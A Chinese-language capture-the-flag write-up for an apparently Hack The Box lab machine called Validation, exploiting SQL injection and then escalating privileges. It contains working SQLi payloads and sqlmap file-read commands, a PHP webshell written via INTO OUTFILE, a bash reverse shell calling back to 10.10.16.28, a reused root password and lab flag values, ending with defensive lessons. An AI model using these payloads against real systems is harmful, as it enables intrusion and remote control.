[Meachines] [Easy] Validation SQLI+信息泄露权限提升
字数 917 2025-08-22 12:23:36
SQL注入与信息泄露权限提升实战教学
1. 信息收集阶段
1.1 目标识别
- 目标IP地址:
10.10.11.116 - 使用命令检查目标是否在线:
nmap -Pn -sn 10.10.11.116
1.2 端口扫描
使用masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.11.116 --rate=1000 -e tun0
发现开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
- 80/tcp: Apache httpd 2.4.48 (Debian)
- 4566/tcp: nginx (403 Forbidden)
- 8080/tcp: nginx (502 Bad Gateway)
1.3 服务版本探测
使用nmap进行详细扫描:
nmap -Pn -sV -sC -p 22,80,4566,8080 10.10.11.116
2. Web应用测试
2.1 发现SQL注入漏洞
在http://10.10.11.116/account.php发现SQL注入点:
POST /account.php HTTP/1.1
Host: 10.10.11.116
Content-Type: application/x-www-form-urlencoded
username=x&country='
2.2 手动验证SQL注入
- 测试UNION注入:
username=x&country=' UNION SELECT 1--+
- 测试ORDER BY确定列数:
username=x&country=' ORDER BY 1--+
2.3 使用sqlmap自动化测试
- 基本检测:
python3 sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country'
- 文件读取利用:
python3 sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country' --file-read='/etc/passwd'
3. 漏洞利用
3.1 写入Web Shell
构造SQL注入写入PHP webshell:
username=x&country=' UNION SELECT "<?php SYSTEM($_REQUEST['shell']);?>" INTO OUTFILE '/var/www/html/shell.php'-- -
3.2 获取反向Shell
使用curl触发webshell执行反向shell:
curl 'http://10.10.11.116/shell.php' --data-urlencode "shell=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.28/445 0>&1'"
4. 权限提升
4.1 获取用户flag
cat /home/user/user.txt
用户flag: 3ac2b2e772e3990b49e4bff189e72540
4.2 发现特权凭证
发现全局密码: uhc-9qual-global-pw
4.3 获取root权限
使用发现的密码提升权限:
su root
输入密码: uhc-9qual-global-pw
4.4 获取root flag
cat /root/root.txt
root flag: c9c56229660a90c2f45caebacb21ecff
5. 关键安全教训
-
输入验证不足:
- 未对country参数进行有效过滤
- 允许特殊字符如单引号导致SQL注入
-
权限配置不当:
- Web应用有写入web目录的权限
- 使用root权限运行服务导致权限提升风险
-
信息泄露风险:
- 全局密码硬编码或明文存储
- 错误配置导致敏感信息可被读取
-
防御建议:
- 使用参数化查询或ORM框架
- 实施最小权限原则
- 定期进行安全审计和渗透测试
- 敏感信息加密存储